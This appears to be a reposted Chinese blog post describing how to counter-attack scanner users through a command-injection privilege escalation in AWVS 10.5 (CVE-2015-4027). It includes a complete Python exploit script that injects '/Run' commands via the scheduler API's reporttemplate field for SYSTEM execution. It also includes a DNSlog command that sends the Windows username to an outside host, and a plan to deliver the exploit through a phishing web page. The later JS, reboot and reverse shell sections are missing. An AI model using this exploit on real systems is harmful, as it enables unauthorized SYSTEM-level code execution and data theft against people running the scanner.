目录
awvs10.5安装
命令执行
进一步利用
重启系统
反弹shell
----
首先,在渗透的时候,很多人会开各种扫描器收集一波信息,在国内用的最多最平常的扫描器应该是AWVS系列。这篇文章写得就是利用AWVS的一个漏洞去反制攻击者,仅提供一个思路进行参考。
这里利用的是AWVS 10被爆出一个本地权限提升漏洞(CVE-2015-4027),漏洞详情及POC:https://www.exploit-db.com/exploits/38847/

实验系统:win7 sp1

awvs:10.5
awvs10.5安装

首先我们先下载awvs 10.5,参考:http://www.32r.com/soft/12986.html

漏洞分析
漏洞是出现在AWVS 10 的一个任务调度的API上。在AWVS 10.x 被安装后,系统会默认安装一个叫做“AcuWVSSchedulerv10”的自启动服务,这个服务是跑在system权限下的。他会监听本地的8183端口,用户可以通过它直接调用接口来给awvs添加新的扫描任务。

如下图所示,通过访问http://127.0.0.1:8183即可完成扫描任务的添加删除和进度查看。


在添加任务时,参数里有一项为reporttemplate ,他的作用是选择扫描结束生成报告时所用的模板,研究发现这个参数会被带入WVS的命令行执行。由于系统没有对用户的输入做检查,导致我们可以通过reporttemplate带入任意的参数,形成了命令注入。

通过查看awvs的官方文档:https://www.acunetix.com/blog/docs/acunetix-wvs-cli-operation/
发现wvs命令行下有一个参数为/run,通过它可以执行系统任意命令。因此我们可以使用这个参数获得一个system权限的命令执行。
这里我对原poc进行一个修改,修改为python3
#import httplib
import requests
import json
from datetime import datetime
import sys
import os
from time import gmtime, strftime
url = "http://127.0.0.1:8183/api/addScan"
if len(sys.argv) > 1:
COMMAND = sys.argv[1]
pass
else:
print('请输入想要执行的命令参数: python xx.py "command"')
os._exit(0)
ACUHOST = '127.0.0.1'
ACUPORT = 8183
ACUHEADERS = {
"Content-Type": "application/json; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Accept": "application/json, text/javascript, */*; q=0.01",
"RequestValidated": "true"
}
ACUEXPLOIT = "/Crawl http://www.google.it /Run \""+ COMMAND + "\""
ACUDATA = {"scanType":"scan",
"targetList":"",
"target":["http://"+"A"*2048],
"recurse":"-1",
"date":strftime("%m/%d/%Y", gmtime()),
"dayOfWeek":"1",
"dayOfMonth":"1",
"time": "%s:%s" % (datetime.now().hour, datetime.now().minute+1),
"deleteAfterCompletion":"False",
"params":{"profile":"Default",
"loginSeq":"",
"settings":"Default",
"scanningmode":"heuristic",
"excludedhours":"",
"savetodatabase":"True",
"savelogs":"False",
"generatereport":"False",
"reportformat":"PDF",
"reporttemplate":"WVSDeveloperReport.rep " + ACUEXPLOIT,
"emailaddress":""}
}
def sendExploit():
"""conn = httplib.HTTPConnection(ACUHOST, ACUPORT)
conn.request("POST", "/api/addScan", json.dumps(ACUDATA), ACUHEADERS)
resp = conn.getresponse()
return "%s %s" % (resp.status, resp.reason)"""
re = requests.post(url=url,headers=ACUHEADERS,data=json.dumps(ACUDATA))
print(re.status_code,re.text)
print ("Acunetix Wvs 10 Local priviledge escalation by Daniele Linguaglossa\n")
print ("[+] Command : %s will be executed as SYSTEM" % COMMAND)
print ("[+] Sending exploit...")
sendExploit()
print ("[+] Done!") 这个payload其实就是模仿的一个添加任务的一个请求,这里可以使用proxychains对poc进行流量的截取查看
命令执行
我们把这个poc进行执行
1. DNSlog探测
首先在dnslog平台获取一个子域,http://www.dnslog.cn/
执行python脚本,我们发现此时立即添加了一个扫描任务,任务是在一分钟后执行
一分钟后刷新dnslog,发现命令被执行了
2.dnslog回显系统信息
dnslog结合Windows系统变量回显系统信息
python 1.py "ping %USERNAME%.8mszqz.dnslog.cn"进一步利用
然后思考,可不可以在网页中写入js代码,然后js中放入我们的poc,将poc用js的方式进行提交。这里将原作者的js代码进行一个修改,因为我用其提供的js代码并不能执行成功,修改的js代码如下。写先一个简单的HTML页面
重启系统
钓鱼网站
嗨喽,欢迎来到到我的世界
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/hz/125878.html